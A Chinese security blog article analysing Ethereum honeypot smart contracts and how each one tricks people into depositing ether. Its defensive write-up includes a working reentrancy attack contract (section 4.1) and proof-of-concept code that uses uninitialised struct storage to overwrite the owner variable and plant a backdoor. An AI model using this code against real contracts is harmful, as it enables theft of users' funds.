以太坊蜜罐智能合约分析

2023-10-26

 

0×00 前言

在学习区块链相关知识的过程中,拜读过一篇很好的文章《The phenomenon of smart contract honeypots》,作者详细分析了他遇到的三种蜜罐智能合约,并将相关智能合约整理收集到Github项目smart-contract-honeypots

本文将对文中和评论中提到的 smart-contract-honeypots 和 Solidlity-Vulnerable 项目中的各蜜罐智能合约进行分析,根据分析结果将蜜罐智能合约的欺骗手段分为以下四个方面:

析结果将蜜罐智能合约的欺骗手段分为以下四个方面:

古老的欺骗手段

神奇的逻辑漏洞

新颖的赌博游戏

黑客的漏洞利用

基于已知的欺骗手段,我们通过内部的以太坊智能合约审计系统一共寻找到 118 个蜜罐智能合约地址,一共骗取了 34.7152916 个以太币(2018/06/26 价值 102946 元人民币),详情请移步文末附录部分。

0×01 古老的欺骗手段

对于该类蜜罐合约来说,仅仅使用最原始的欺骗手法。 这种手法是拙劣的,但也有着一定的诱导性。

1.1 超长空格的欺骗:WhaleGiveaway1

Github地址:smart-contract-honeypots/WhaleGiveaway1.sol

智能合约地址:0x7a4349a749e59a5736efb7826ee3496a2dfd5489

在 github 上看到的合约代码如下:

 

细读代码会发现 GetFreebie() 的条件很容易被满足:

 

 

if(msg.value>1 ether)
{
    msg.sender.transfer(this.balance);
}

只要转账金额大于 1 ether,就可以取走该智能合约里所有的以太币。

但事实绝非如此,让我们做出错误判断的原因在于 github 在显示超长行时不会自动换行。下图是设置了自动换行的本地编辑器截图:

 

 

 

图中第 21 行和第 29 行就是蜜罐作者通过 超长空格 隐藏起来的代码。所以实际的 脆弱点 是这样的:

if(msg.value>1 ether)
{ 
    Owner.transfer(this.balance);
    msg.sender.transfer(this.balance);
}       

先将账户余额转给合约的创立者,然后再将剩余的账户余额(也就是0)转给转账的用户(受害者)

与之类似的智能合约还有 TestToken,留待有兴趣的读者继续分析:

Github地址:smart-contract-honeypots/TestToken.sol

0×02 神奇的逻辑漏洞

该类蜜罐合约用 2012年春晚小品《天网恢恢》中这么一段来表现最为合适:

送餐员: 外卖一共30元 骗子B: 没零的,100! 送餐员: 行,我找你……70!(送餐员掏出70给骗子B) 骗子A: 哎,等会儿等会儿,我这有零的,30是吧,把那100给我吧!给,30!(骗子A拿走了B给送餐员的100元,又给了送餐员30元) 送餐员: 30元正好,再见!

该类漏洞也是如此,在看起来正常的逻辑下,总藏着这样那样的陷阱。

2.1 天上掉下的馅饼:Gift_1_ETH

Github地址:smart-contract-honeypots/Gift_1_ETH.sol

智能合约地址:0xd8993F49F372BB014fB088eaBec95cfDC795CBF6

合约关键代码如下:

 

contract Gift_1_ETH
{
    bool passHasBeenSet = false;
    bytes32 public hashPass;
    function SetPass(bytes32 hash)
    payable
    {
        if(!passHasBeenSet&&(msg.value >= 1 ether))
        {
            hashPass = hash;
        }
    }
    function GetGift(bytes pass) returns (bytes32)
    {
        if( hashPass == sha3(pass))
        {
            msg.sender.transfer(this.balance);
        }
        return sha3(pass);
    }
    function PassHasBeenSet(bytes32 hash)
    {
        if(hash==hashPass)
        {
           passHasBeenSet=true;
        }
    }
}

整个智能合约的逻辑很简单,三个关键函数功能如下:

SetPass(): 在转账大于 1 ether 并且 passHasBeenSet 为 false (默认值就是false),就可以设置密码 hashPass。

GetGift(): 在输入的密码加密后与 hashPass 相等的情况下,就可以取走合约里所有的以太币。

PassHasBeenSet():如果输入的 hash 与 hashPass 相等,则 passHasBeenSet 将会被设置成 true。

如果我们想取走合约里所有的以太币,只需要按照如下流程进行操作:

 

 

 

推特用户 Alexey Pertsev 还为此写了一个获取礼物的 EXP

但实际场景中,受害者转入一个以太币后并没有获取到整个智能合约的余额,这是为什么呢?

 

这是因为在合约创立之后,任何人都可以对合约进行操作,包括合约的创建者:

 

 

合约创建者在合约 被攻击 前,设置一个只有创建者知道的密码并将 passHasBeenSet 置为 True,将只有合约创建者可以取出智能合约中的以太币。

与之类似的智能合约还有 NEW_YEARS_GIFT:

Github地址:Solidlity-Vulnerable/honeypots/NEW_YEARS_GIFT.sol

智能合约地址:0x13c547Ff0888A0A876E6F1304eaeFE9E6E06FC4B

2.2 合约永远比你有钱:MultiplicatorX3

Github地址:smart-contract-honeypots/MultiplicatorX3.sol smart-contract-honeypots/Multiplicator.sol

智能合约地址:0x5aA88d2901C68fdA244f1D0584400368d2C8e739

合约关键代码如下:

function multiplicate(address adr)
    public
    payable
    {
        if(msg.value>=this.balance)
        {        
            adr.transfer(this.balance+msg.value);
        }
    }

对于 multiplicate() 而言,只要你转账的金额大于账户余额,就可以把 账户余额 和 你本次转账的金额 都转给一个可控的地址。

在这里我们需要知道:在调用 multiplicate() 时,账户余额 = 之前的账户余额 + 本次转账的金额。所以 msg.value >= this.balance 只有在原余额为0,转账数量为0的时候才会成立。也就意味着,账户余额永远不会比转账金额小。

与之类似的智能合约还有 PINCODE:

Github地址:Solidlity-Vulnerable/honeypots/PINCODE.sol

智能合约地址:0x35c3034556b81132e682db2f879e6f30721b847c

2.3 谁是合约主人:TestBank

Github地址:smart-contract-honeypots/TestBank.sol

智能合约地址:0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9

合约关键代码如下:

 contract Owned {
     address public owner;
     function Owned() { owner = msg.sender; }
     modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
 }
 contract TestBank is Owned {
     address public owner = msg.sender;
     uint256 ecode;
     uint256 evalue;
     function useEmergencyCode(uint256 code) public payable {
         if ((code == ecode) && (msg.value == evalue)) owner = msg.sender;
     }
     function withdraw(uint amount) public onlyOwner {
         require(amount <= this.balance);
         msg.sender.transfer(amount);
     }

根据关键代码的内容,如果我们可以通过 useEmergencyCode() 中的判断,那就可以将 owner 设置为我们的地址,然后通过 withdraw() 函数就可以取出合约中的以太币。

如果你也有了上述的分析,那么就需要学习一下 Solidity 中继承的相关知识参考链接5

该部分引用自参考链接5 重点:Solidity的继承原理是代码拷贝,因此换句话说,继承的写法总是能够写成一个单独的合约。 情况五:子类父类有相同名字的变量。 父类A的test1操纵父类中的variable,子类B中的test2操纵子类中的variable,父类中的test2因为没被调用所以不存在。 解释:对EVM来说,每个storage variable都会有一个唯一标识的slot id。在下面的例子说,虽然都叫做variable,但是从bytecode角度来看,他们是由不同的slot id来确定的,因此也和变量叫什么没有关系。

 

contract A{  
    uint variable = 0;  
    function test1(uint a)  returns(uint){  
       variable++;  
       return variable;  
    }  
   function test2(uint a)  returns(uint){  
       variable += a;  
       return variable;  
    }  
}  
contract B is A{  
    uint variable = 0;  
    function test2(uint a) returns(uint){  
        variable++;  
        return variable;  
    }  
}  
====================  
contract B{  
    uint variable1 = 0;  
    uint variable2 = 0;  
    function test1(uint a)  returns(uint v){  
        variable1++;  
       return variable1;  
    }  
    function test2(uint a) returns(uint v){  
        variable2++;  
        return variable2;  
    }  
}  

根据样例中的代码,我们将该合约的核心代码修改如下:

contract TestBank is Owned {
    address public owner1 = msg.sender;
    modifier onlyOwner{ if (msg.sender != owner1) revert(); _; }
    address public owner2 = msg.sender;
    uint256 ecode;
    uint256 evalue;
    function useEmergencyCode(uint256 code) public payable {
        if ((code == ecode) && (msg.value == evalue)) owner2 = msg.sender;
    }
    function withdraw(uint amount) public onlyOwner {
        require(amount <= this.balance);
        msg.sender.transfer(amount);
    }

变量 owner1 是父类 Owner 中的 owner 变量,而 owner2 是子类 TestBank 中的变量。useEmergencyCode()函数只会修改 owner2,而非 owner1,自然无法调用 withdraw()。 由于调用 useEmergencyCode() 时需要转作者设置的 evalue wei 的以太币,所以只会造成以太币白白丢失。

0×03 新颖的赌博游戏

区块链的去中心化给博彩行业带来了新的机遇,然而久赌必输这句话也不无道理。 本章将会给介绍四个基于区块链的赌博游戏并分析庄家如何赢钱的。

3.1 加密轮盘赌轮:CryptoRoulette

Github地址:smart-contract-honeypots/CryptoRoulette.sol Solidlity-Vulnerable/honeypots/CryptoRoulette.sol

智能合约地址:0x94602b0E2512DdAd62a935763BF1277c973B2758

合约关键代码如下:

 // CryptoRoulette
 //
 // Guess the number secretly stored in the blockchain and win the whole contract balance!
 // A new number is randomly chosen after each try.
 //
 // To play, call the play() method with the guessed number (1-20).  Bet price: 0.1 ether
 contract CryptoRoulette {
     uint256 private secretNumber;
     uint256 public lastPlayed;
     uint256 public betPrice = 0.1 ether;
     address public ownerAddr;
     struct Game {
         address player;
         uint256 number;
     }
     function shuffle() internal {
         // randomly set secretNumber with a value between 1 and 20
         secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 20 + 1;
     }
     function play(uint256 number) payable public {
         require(msg.value >= betPrice && number <= 10);
         Game game;
         game.player = msg.sender;
         game.number = number;
         gamesPlayed.push(game);
         if (number == secretNumber) {
             // win!
             msg.sender.transfer(this.balance);
         }
         shuffle();
         lastPlayed = now;
     }
     function kill() public {
         if (msg.sender == ownerAddr && now > lastPlayed + 1 days) {
             suicide(msg.sender);
         }
     }
 }

该合约设置了一个 1-20 的随机数:secretNumber,玩家通过调用 play() 去尝试竞猜这个数字,如果猜对,就可以取走合约中所有的钱并重新设置随机数 secretNumber。

这里存在两层猫腻。第一层猫腻就出在这个 play()。play() 需要满足两个条件才会运行:

msg.value >= betPrice,也就是每次竞猜都需要发送至少 0.1 个以太币。

number <= 10,竞猜的数字不能大于 10。

由于生成的随机数在 1-20 之间,而竞猜的数字不能大于 10, 那么如果随机数大于 10 呢?将不会有人能竞猜成功!所有被用于竞猜的以太币都会一直存储在智能合约中。最终合约拥有者可以通过 kill() 函数取出智能合约中所有的以太币。

在实际的场景中,我们还遇到过生成的随机数在 1-10 之间,竞猜数字不能大于 10 的智能合约。这样的合约看似保证了正常的竞猜概率,但却依旧是蜜罐智能合约!这与前文说到的第二层猫腻有关。我们将会在下一节 3.2 开放地址彩票:OpenAddressLottery 中说到相关细节。有兴趣的读者可以读完 3.2节 后再回来重新分析一下该合约。

3.2 开放地址彩票:OpenAddressLottery

3.2.1 蜜罐智能合约分析

Github地址:Solidlity-Vulnerable/honeypots/OpenAddressLottery.sol

智能合约地址:0xd1915A2bCC4B77794d64c4e483E43444193373Fa

合约关键代码如下:

 contract OpenAddressLottery{
    struct SeedComponents{
        uint component1;
        uint component2;
        uint component3;
        uint component4;
    }
    address owner; //address of the owner
    uint private secretSeed; //seed used to calculate number of an address
    uint private lastReseed; //last reseed - used to automatically reseed the contract every 1000 blocks
    uint LuckyNumber = 1; //if the number of an address equals 1, it wins
    function forceReseed() { //reseed initiated by the owner - for testing purposes
    require(msg.sender==owner);
    SeedComponents s;
    s.component1 = uint(msg.sender);
    s.component2 = uint256(block.blockhash(block.number - 1));
    s.component3 = block.difficulty*(uint)(block.coinbase);
    s.component4 = tx.gasprice * 7;
    reseed(s); //reseed
    }
 }

OpenAddressLottery的逻辑很简单,每次竞猜,都会根据竞猜者的地址随机生成 0 或者 1,如果生成的值和 LuckyNumber 相等的话(LuckyNumber初始值为1),那么竞猜者将会获得 1.9 倍的奖金。

对于安全研究人员来说,这个合约可能是这些蜜罐智能合约中价值最高的一个。在这里,我将会使用一个 demo 来说一说 Solidity 编译器的一个 bug:

pragma solidity ^0.4.24;
contract OpenAddressLottery_test
{
    address public addr = 0xa;
    uint    public b    = 2;
    uint256 public c    = 3;
    bytes   public d    = "zzzz";
    struct SeedComponents{
        uint256 component1;
        uint256 component2;
        uint256 component3;
        uint256 component4;
    }
    function test() public{
        SeedComponents s;
        s.component1 = 252;
        s.component2 = 253;
        s.component3 = 254;
        s.component4 = 255;
    }
}

在运行 test() 之前,addr、b、c、d的值如下图所示:

 

在运行了 test() 之后,各值均被覆盖。

 

这个 bug 已经被提交给 官方,并将在 Solidity 0.5.0 中被修复。

 

 

截止笔者发文,Solidity 0.5.0 依旧没有推出。这也就意味着,目前所有的智能合约都可能会受到该 bug 的影响。我们将会在 3.2.2节 中说一说这个 bug 可能的影响面。想了解蜜罐智能合约而非bug攻击面的读者可以跳过这一小节

对于该蜜罐智能合约而言,当 forceReseed()被调用后,s.component4 = tx.gasprice * 7; 将会覆盖掉 LuckyNumber 的值,使之为 7。而用户生成的竞猜数字只会是 1 或者 0,这也就意味着用户将永远不可能赢得彩票。

3.2.2 Solidity 0.4.x 结构体局部变量量引起的变量量覆盖

在 3.2.1节中,介绍了OpenAddressLottery 智能合约使用未初始化的结构体局部变量直接覆盖智能合约中定义的前几个变量,从而达到修改变量值的目的。

按照这种思路,特意构造某些参数的顺序,比如将智能合约的余额值放在首部,那么通过变量覆盖就可以修改余额值;除此之外,如果智能合约中常用的 owner 变量定义在首部,便可以造成权限提升。

示例代码1如下(编译器选择最新的0.4.25-nightly.2018.6.22+commit.9b67bdb3.Emscripten.clang):

pragma solidity ^0.4.0;
contract Test {
        address public owner;
        address public a;
        struct Seed {
                address x;
                uint256 y;
        }
        function Test() {
                owner = msg.sender;
                a = 0x1111111111111111111111111111111111111111;
        }
        function fake_foo(uint256 n) public {
                Seed s;
                s.x = msg.sender;
                s.y = n;
        }
}

 

如图所示,攻击者 0x583031d1113ad414f02576bd6afabfb302140225 在调用 fake_foo() 之后,成功将 owner 修改成自己。

在 2.3节 中,介绍了 Solidity 的继承原理是代码拷贝。也就是最终都能写成一个单独的合约。这也就意味着,该 bug 也会影响到被继承的父类变量,示例代码2如下:

pragma solidity ^0.4.0;
contract Owner {
    address public owner;
    modifier onlyOwner {
        require(owner == msg.sender);
        _;
    }
}
contract Test is Owner {
    struct Seed {
        address x;
    }
    function Test() {
        owner = msg.sender;
    }
    function fake_foo() public {
        Seed s;
        s.x = msg.sender;
    }
}

 

 

 

相比于示例代码1,示例代码2 更容易出现在现实生活中。由于 示例代码2 配合复杂的逻辑隐蔽性较高,更容易被不良合约发布者利用。比如利用这种特性留 后门。

参考链接10中,开发者认为由于某些原因,让编译器通过警告的方式通知用户更合适。所以在目前 0.4.x 版本中,编译器会通过警告的方式通知智能合约开发者;但这种存在安全隐患的代码是可以通过编译并部署的。

solidity 开发者将在 0.5.0 版本将该类问题归于错误处理。

3.3 山丘之王:KingOfTheHill

Github地址:Solidlity-Vulnerable/honeypots/KingOfTheHill.sol

智能合约地址:0x4dc76cfc65b14b3fd83c8bc8b895482f3cbc150a

 

合约关键代码如下:

 contract Owned {
     address owner;    
         function Owned() {
         owner = msg.sender;
     }
     modifier onlyOwner{
         if (msg.sender != owner)
             revert();
                 _;
     }
 }
 contract KingOfTheHill is Owned {
     address public owner;
     function() public payable {
         if (msg.value > jackpot) {
             owner = msg.sender;
             withdrawDelay = block.timestamp + 5 days;
         }
         jackpot+=msg.value;
     }
     function takeAll() public onlyOwner {
         require(block.timestamp >= withdrawDelay);
         msg.sender.transfer(this.balance);
         jackpot=0;
     }
 }

这个合约的逻辑是:每次请求 fallback(),变量 jackopt 就是加上本次传入的金额。如果你传入的金额大于之前的 jackopt,那么 owner 就会变成你的地址。

看到这个代码逻辑,你是否感觉和 2.2节 、 2.3节 有一定类似呢?

让我们先看第一个问题:msg.value > jackopt是否可以成立?答案是肯定的,由于 jackopt+=msg.value 在 msg.value > jackopt 判断之后,所以不会出现 2.2节 合约永远比你钱多的情况。

然而这个合约存在与 2.3节 同样的问题。在 msg.value > jackopt 的情况下,KingOfTheHill 中的 owner 被修改为发送者的地址,但 Owned 中的 owner 依旧是合约创建人的地址。这也就意味着取钱函数 takeAll() 将永远只有庄家才能调用,所有的账户余额都将会进入庄家的口袋。

与之类似的智能合约还有 RichestTakeAll:

Github地址:Solidlity-Vulnerable/honeypots/RichestTakeAll.sol

智能合约地址:0xe65c53087e1a40b7c53b9a0ea3c2562ae2dfeb24

3.4 以太币竞争游戏:RACEFORETH

Github地址:Solidlity-Vulnerable/honeypots/RACEFORETH.sol

 

合约关键代码如下:

 contract RACEFORETH {
    uint256 public SCORE_TO_WIN = 100 finney;
    uint256 public speed_limit = 50 finney;
    function race() public payable {
        if (racerSpeedLimit[msg.sender] == 0) { racerSpeedLimit[msg.sender] = speed_limit; }
        require(msg.value <= racerSpeedLimit[msg.sender] && msg.value > 1 wei);
        racerScore[msg.sender] += msg.value;
        racerSpeedLimit[msg.sender] = (racerSpeedLimit[msg.sender] / 2);
        latestTimestamp = now;
        // YOU WON
        if (racerScore[msg.sender] >= SCORE_TO_WIN) {
            msg.sender.transfer(PRIZE);
        }
    }
    function () public payable {
        race();
    }
 }

这个智能合约有趣的地方在于它设置了最大转账上限是 50 finney,最小转账下限是 2 wei(条件是大于 1 wei,也就是最小 2 wei)。每次转账之后,最大转账上限都会缩小成原来的一半,当总转账数量大于等于 100 finney,那就可以取出庄家在初始化智能合约时放进的钱。

假设我们转账了 x 次,那我们最多可以转的金额如下:

 50 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3  ...... 50 * (1/2)^x

根据高中的知识可以知道,该数字将会永远小于 100

 50 * (1/2)^0 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3 ...... < 50 * 2 

而智能合约中设置的赢取条件就是总转账数量大于等于 100 finney。这也就意味着,没有人可以达到赢取的条件!

0×04 黑客的漏洞利用

利用重入漏洞的The DAO事件直接导致了以太坊的硬分叉、利用整数溢出漏洞可能导致代币交易出现问题。 DASP TOP10 中的前三: 重入漏洞、访问控制、算数问题在这些蜜罐智能合约中均有体现。黑客在这场欺诈者的游戏中扮演着不可或缺的角色。

4.1 私人银行(重入漏洞):PrivateBank

Github地址:smart-contract-honeypots/PrivateBank.sol Solidlity-Vulnerable/honeypots/PRIVATE_BANK.sol

智能合约地址:0x95d34980095380851902ccd9a1fb4c813c2cb639

合约关键代码如下:

 function CashOut(uint _am)
{
        if(_am<=balances[msg.sender])
        {
                if(msg.sender.call.value(_am)())
                {
                        balances[msg.sender]-=_am;
                        TransferLog.AddMessage(msg.sender,_am,"CashOut");
                }
        }
}

了解过 DAO 事件以及重入漏洞可以很明显地看出,CashOut() 存在重入漏洞。

在了解重入漏洞之前,让我们先了解三个知识点:

Solidity 的代码执行限制。为了防止以太坊网络被攻击或滥用,智能合约执行的每一步都需要消耗 gas,俗称燃料。如果燃料消耗完了但合约没有执行完成,合约状态会回滚。

addr.call.value()(),通过 call() 的方式进行转账,会传递目前所有的 gas 进行调用。

回退函数fallback(): 回退函数将会在智能合约的 call 中被调用。

如果我们调用合约中的 CashOut(),关键代码的调用过程如下图:


由于回退函数可控,如果我们在回退函数中再次调用 CashOut(), 由于满足 _am<=balances[msg.sender] ,将会再次转账,因此不断循环,直至 合约中以太币被转完或 gas  消耗完。

 

 

 

根据上述分析写出攻击的代码如下:

contract Attack {
    address owner;
    address victim;
    function Attack() payable { owner = msg.sender; }
    function setVictim(address target)  { victim = target; }
    function step1(uint256 amount)  payable {
        if (this.balance >= amount) {
            victim.call.value(amount)(bytes4(keccak256("Deposit()")));
        }
    }
    function step2(uint256 amount)  {
        victim.call(bytes4(keccak256("CashOut(uint256)")), amount);
    }
    // selfdestruct, send all balance to owner
    function stopAttack()  {
        selfdestruct(owner);
    }
    function startAttack(uint256 amount)  {
        step1(amount);
        step2(amount / 2);
    }
    function () payable {
        victim.call(bytes4(keccak256("CashOut(uint256)")), msg.value);
    }
}

模拟的攻击步骤如下:

正常用户A(地址:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c)向该合约存入 50 ether。

1.恶意攻击者 B(地址:0x583031d1113ad414f02576bd6afabfb302140225)新建恶意智能合约Attack,实施攻击。不仅取出了自己存入的 10 ether,还取出了 A 存入的 50 ether。用户 A的余额还是50 ether,而恶意攻击者 B 的余额也因为发生溢出变成 115792089237316195423570985008687907853269984665640564039407584007913129639936。

虽然此时用户A的余额仍然存在,但由于合约中已经没有以太币了,所以A将无法取出其存入的50个以太币

根据以上的案例可以得出如下结论:当普通用户将以太币存取该蜜罐智能合约地址,他的代币将会被恶意攻击者通过重入攻击取出,虽然他依旧能查到在该智能合约中存入的代币数量,但将无法取出相应的代币。

4.2 偷梁换柱的地址(访问控制):firstTest

Github地址:smart-contract-honeypots/firstTest.sol

智能合约地址:0x42dB5Bfe8828f12F164586AF8A992B3a7B038164

合约关键代码如下:

   contract firstTest
  {
      address Owner = 0x46Feeb381e90f7e30635B4F33CE3F6fA8EA6ed9b;
      address emails = 0x25df6e3da49f41ef5b99e139c87abc12c3583d13;
      address adr;
      uint256 public Limit= 1000000000000000000;
      function withdrawal()
      payable public
      {
          adr=msg.sender;
          if(msg.value>Limit)
          {  
              emails.delegatecall(bytes4(sha3("logEvent()")));
              adr.send(this.balance);
          }
      }
  }

逻辑看起去很简单,只要在调用 withdrawal() 时发送超过 1 ether,该合约就会把余额全部转给发送者。至于通过 delegatecall() 调用的 logEvent(),谁在意呢?

在 DASP TOP10 的漏洞中,排名第二的就是访问控制漏洞,其中就说到 delegatecall() 。

delegatecall() 和 call() 功能类似,区别仅在于 delegatecall() 仅使用给定地址的代码,其它信息则使用当前合约(如存储,余额等等)。这也就意味着调用的 logEvent() 也可以修改该合约中的参数,包括 adr。

举个例子,在第一个合约中,我们定义了一个变量 adr,在第二个合约中通过 delegatecall() 调用第一个合约中的 logEvent()。第二个合约中的第一个变量就变成了 0×1111。这也就意味着攻击者完全有能力在 logEvent() 里面修改 adr 的值。

为了验证我们的猜测,使用 evmdis 逆向 0x25df6e3da49f41ef5b99e139c87abc12c3583d13 地址处的 opcodelogEvent() 处的关键逻辑如下:

这也就意味着,在调用蜜罐智能合约 firstTest 中的 withdrawal() 时,emails.delegatecall(bytes4(sha3(“logEvent()”))); 将会判断第一个变量 Owner 是否是 0x46FEEB381E90F7E30635B4F33CE3F6FA8EA6ED9B,如果相等,就把 adr 设置为当前合约的地址。最终将会将该合约中的余额转给当前合约而非消息的发送者。adr 参数被偷梁换柱!

4.3 仅仅是测试?(整数溢出):For_Test

Github地址:Solidlity-Vulnerable/honeypots/For_Test.sol

智能合约地址:0x2eCF8D1F46DD3C2098de9352683444A0B69Eb229

合约关键代码如下:

 pragma solidity ^0.4.19;
 contract For_Test
 {
         function Test()
         payable
         public
         {
             if(msg.value> 0.1 ether)
             {
                 uint256 multi =0;
                 uint256 amountToTransfer=0;
                 for(var i=0;i<msg.value*2;i++)
                 {
                     multi=i*2;
                     if(multi<amountToTransfer)
                     {
                       break;  
                     }
                     else
                     {
                         amountToTransfer=multi;
                     }
                 }    
                 msg.sender.transfer(amountToTransfer);
             }
         }
 }

在说逻辑之前,我们需要明白两个概念:

msg.value 的单位是 wei。举个例子,当我们转 1 ether 时,msg.value = 1000000000000000000 (wei)

当我们使用 var i时,i 的数据类型将是 uint8,这个可以在 Solidity 官方手册上找到。

如同官方文档所说,当 i = 255 后,执行 i++ ,将会发生整数溢出,i 的值重新变成 0,这样循环将不会结束。

 

根据这个智能合约的内容,只要转超过 0.1 ether 并调用 Test() ,将会进入循环最终得到 amountToTransfer 的值,并将 amountToTransfer wei 发送给访问者。在不考虑整数溢出的情况下,amountToTransfer 将会是 msg.value * 2。这也是这个蜜罐合约吸引人的地方。

正是由于 for 循环中的 i 存在整数溢出,在 i=255 执行 i++ 后, i = 0 导致 multi = 0 < amountToTransfer,提前终止了循环。

细细算来,转账至少了 0.1 ether(100000000000000000 wei) 的以太币,该智能合约转回 510 wei以太币。损失巨大。

与之类似的智能合约还有 Test1:

 

Github地址:smart-contract-honeypots/Test1.sol

4.4 股息分配(老版本编译器漏洞):DividendDistributor

Github地址:Solidlity-Vulnerable/honeypots/DividendDistributor.sol

智能合约地址:0x858c9eaf3ace37d2bedb4a1eb6b8805ffe801bba

合约关键代码如下:

 function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner) protected
 {
        if(! target.call.value(amount)() )
                throw;
         Transfer(amount, message, target, currentOwner);
 }
 function divest(uint amount) public {
        if ( investors[msg.sender].investment == 0 || amount == 0)
                throw;
         // no need to test, this will throw if amount > investment
         investors[msg.sender].investment -= amount;
         sumInvested -= amount; 
         this.loggedTransfer(amount, "", msg.sender, owner);
 }

该智能合约大致有存钱、计算利息、取钱等操作。在最开始的分析中,笔者并未在整个合约中找到任何存在漏洞、不正常的地方,使用 Remix 模拟也没有出现任何问题,一度怀疑该合约是否真的是蜜罐。直到打开了智能合约地址对应的页面:

 

 

 

在 Solidity 0.4.12 之前,存在一个bug,如果空字符串 ”" 用作函数调用的参数,则编码器会跳过它。

举例:当我们调用了 send(from,to,”",amount), 经过编译器处理后的调用则是 send(from,to,amount)。 编写测试代码如下:

pragma solidity ^0.4.0;
contract DividendDistributorv3{
    event Transfer(uint amount,bytes32 message,address target,address currentOwner);
    function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner) 
    {
        Transfer(amount, message, target, currentOwner);
    }
    function divest() public {
        this.loggedTransfer(1, "a", 0x1, 0x2);
        this.loggedTransfer(1, "", 0x1, 0x2);
    }
}

在 Remix 中将编译器版本修改为 0.4.11+commit.68ef5810.Emscripten.clang后,执行 divest()函数结果如下:

 

 

 

在这个智能合约中也是如此。当我们需要调用 divest() 取出我们存进去的钱,最终将会调用 this.loggedTransfer(amount, “”, msg.sender, owner);。

因为编译器的 bug,最终调用的是 this.loggedTransfer(amount, msg.sender, owner);,具体的转账函数处就是 owner.call.value(amount) 。成功的将原本要转给 msg.sender()的以太币转给 合约的拥有者。合约拥有者成功盗币!

0×05 后记

在分析过程中,我愈发认识到这些蜜罐智能合约与原始的蜜罐概念是有一定差别的。相较于蜜罐是诱导攻击者进行攻击,智能合约蜜罐的目的变成了诱导别人转账到合约地址。在欺骗手法上,也有了更多的方式,部分方式具有强烈的参考价值,值得学习。

这些蜜罐智能合约的目的性更强,显著区别与普通的 钓鱼 行为。相较于钓鱼行为面向大众,蜜罐智能合约主要面向的是 智能合约开发者、智能合约代码审计人员 或 拥有一定技术背景的黑客。因为蜜罐智能合约门槛更高,需要能够看懂智能合约才可能会上当,非常有针对性,所以使用 蜜罐 这个词,我认为是非常贴切的。

这也对 智能合约代码审计人员 提出了更高的要求,不能只看懂代码,要了解代码潜在的逻辑和威胁、了解外部可能的影响面(例如编辑器 bug 等),才能知其然也知其所以然。

对于 智能合约代码开发者 来说,先知攻 才能在代码写出前就拥有一定的警惕心理,从源头上减少存在漏洞的代码。

目前智能合约正处于新生阶段,流行的 solidity 语言也还没有发布正式 1.0 版本,很多语⾔的特性还需要发掘和完善;同时,区块链的相关业务也暂时没有出现完善的流水线操作。正因如此,在当前这个阶段智能合约代码审计更是相当的重要,合约的部署一定要经过严格的代码审计。

最后感谢 404实验室 的每一位小伙伴,分析过程中的无数次沟通交流,让这篇文章羽翼渐丰。

针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html

联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

0×06 参考链接

Github smart-contract-honeypots

Github Solidlity-Vulnerable

The phenomenon of smart contract honeypots

Solidity 中文手册

Solidity原理(一):继承(Inheritance)

区块链安全 – DAO攻击事件解析

以太坊智能合约安全入门了解一下

Exposing Ethereum Honeypots

Solidity Bug Info

Uninitialised storage references should not be allowed

0×07 附录:已知蜜罐智能合约地址以及交易情况

基于已知的欺骗手段,我们通过内部的以太坊智能合约审计系统一共寻找到 118 个蜜罐智能合约地址,具体结果如下:

 

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

以太坊蜜罐智能合约分析 的相关文章

  • 每天都在谈SOA和微服务,但你真的理解什么是服务吗?

    近几年来 我一直从事着和面向服务相关的底层软件研发工作 逐渐的形成了一些自己的看法 其中我觉得比较重要的看法就是服务需要一个更准确细致的定义 简单来说 服务的本质就是行为 业务活动 的抽象 为了更好的阐述新服务的概念 并方便与传统的SOA中
  • iOS和macOS上Swift编写的EOS区块链开源框架SwiftyEOS

    SwiftyEOS是一个用于与EOS交互的开源框架 用Swift编写 可以在iOS和macOS上使用 特点 EOS密钥对生成 私钥导入 签名哈希 基本的RPC API 链 历史 可查询客户端 交易 EOS token 转账 帮助类处理iOS
  • 以太坊区块链学习之在私链上部署合约

    上一篇博客介绍了如何搭建私链并在私链上创建账户 挖矿 查看余额 本篇将介绍在私链上部署合约并与之交互 本篇开发环境为MacOS 10 12 建议读者使用macOS系统或者Ubuntu系统 第一步 进入geth客户端 启动私链 进入geth客
  • 中国太阳能热水器市场营销模式探析与品牌格局调研报告2022版

    中国太阳能热水器市场营销模式探析与品牌格局调研报告2022版 HS HS HS HS HS HS HS HS HS HS HS HS 修订日期 2021年11月 搜索鸿晟信合研究院查看官网更多内容 第一章 太阳能热水器相关概述 1 1 太阳
  • 巴比特

    摘要 3月15日凌晨 OpenAI在官网上宣告了多模态大模型GPT 4的诞生 GPT 4 实现了以下几个方面的飞跃式提升 强大的识图能力 文字输入限制提升至 2 5 万字 回答准确性显著提高 能够生成歌词 创意文本 实现风格变化 GPT 4
  • 初识区块链

    这篇博客主要从社会和经济层面来直白的向大家讲述区块链是什么 比特币是什么 分享的内容仅限于自己的理解 里面会存在本人的观点 但是希望读者能有自己的独立看法 审慎的阅读本文 甚至能考虑到我的认知不足导致的偏差 不为任何投资电子货币者提供意见
  • 阿里巴巴都害怕的区块链电商到底是什么?

    近日 区块链权威机构中国通信工业协会区块链专业委员会 CCIAPCB 发出倡议 联合各界将中共中央政治局10月24日集体学习区块链主席讲话日作为 区块链中国日 此次中央将区块链技术放在了国家战略层面高度上 让区块链一时间成了全民热点 特别是
  • 区块链数据的存储和更新

    目录 1 引言 2 主要流程 2 1数据库读取 2 1 1 从数据库加载块数据 2 1 2从数据库读取账户信息 2 2 区块链数据更新与回滚 2 2 1 交易数据 2 2 2 块数据 1 引言 在第一篇文章里我们从静态的角度讲解了以太坊的数
  • 区块链数字存证平台有哪些功能模块

